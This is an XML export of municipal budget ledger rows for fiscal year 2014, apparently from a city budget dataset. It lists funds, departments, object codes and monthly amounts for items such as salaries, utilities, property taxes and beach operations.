<row _id="12533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>539.98</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16289.98</total></row>
<row _id="12534"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2457.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2457.0</total></row>
<row _id="12535"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>908.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>908.0</total></row>
<row _id="12536"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
<row _id="12537"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
<row _id="12538"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44459.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44459.0</total></row>
<row _id="12539"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34932.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34932.0</total></row>
<row _id="12540"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11342.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11342.0</total></row>
<row _id="12541"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400030.0</object><object_description>PROPERTY TAXES-CLRR-AIRCRAFT</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-390000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>64000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-326000.0</total></row>
<row _id="12542"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400100.0</object><object_description>FRANCHISE TAX - UTILITIES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-961393.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-961393.0</total></row>
<row _id="12543"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400180.0</object><object_description>LOCAL PUBLIC SAFETY FUNDS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-1004250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1004250.0</total></row>
<row _id="12544"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12545"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410150.0</object><object_description>BIKE RACKS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-962.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-962.0</total></row>
<row _id="12546"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>553012.0</object><object_description>OTS SOBRIETY CHECKPOINT 2013</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>5800.0</june><total>5800.0</total></row>
<row _id="12547"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>556250.0</object><object_description>RETROFIT INCENTIVE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>200000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="12548"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1738.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="12549"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562702.0</object><object_description>ONE-TIME GRANT SET-ASIDE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12550"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-18191.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18191.0</total></row>
<row _id="12551"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-208040.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-208040.0</total></row>
<row _id="12552"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="12553"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2374.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2453.0</total></row>
<row _id="12554"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7354.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7354.0</total></row>
<row _id="12555"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6100.0</total></row>
<row _id="12556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23000.0</total></row>
<row _id="12557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="12558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>396768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>6678</december><january>67815.4</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>471261.4</total></row>
<row _id="12559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="12560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>685.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>685.0</total></row>
<row _id="12561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="12562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="12563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533213.0</object><object_description>FAC MAINT-PREVENTATIVE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="12564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103427.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103427.0</total></row>
<row _id="12565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="12566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3813.0</total></row>
<row _id="12567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409150.0</object><object_description>PASSPORT SERV PHOTOS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6600.0</total></row>
<row _id="12568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561111.0</object><object_description>CHRYSALIS EMPLYMNT CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="12569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561113.0</object><object_description>OPCC ACCESS CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7400.0</total></row>
<row _id="12570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>VENICE FAMILY CLINIC-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3986.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3986.0</total></row>
<row _id="12571"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>165000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>165000.0</total></row>
<row _id="12572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="12573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>569300.0</object><object_description>BIKE VALET-PICO LIBRARY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9567.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9567.0</total></row>
<row _id="12574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5249.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5249.0</total></row>
<row _id="12575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-4900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>4900</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400020.0</object><object_description>PROPERTY TAXES - UNSECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-950000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-73000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1023000.0</total></row>
<row _id="12577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400060.0</object><object_description>PROPERTY TAXES-DEL-SEC/UNSEC</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-672300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-127700.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-800000.0</total></row>
<row _id="12578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400160.0</object><object_description>SALES / USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-26432071.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-244273.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26676344.0</total></row>
<row _id="12579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579001.0</object><object_description>DISCRET-SECTION 8 ASST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
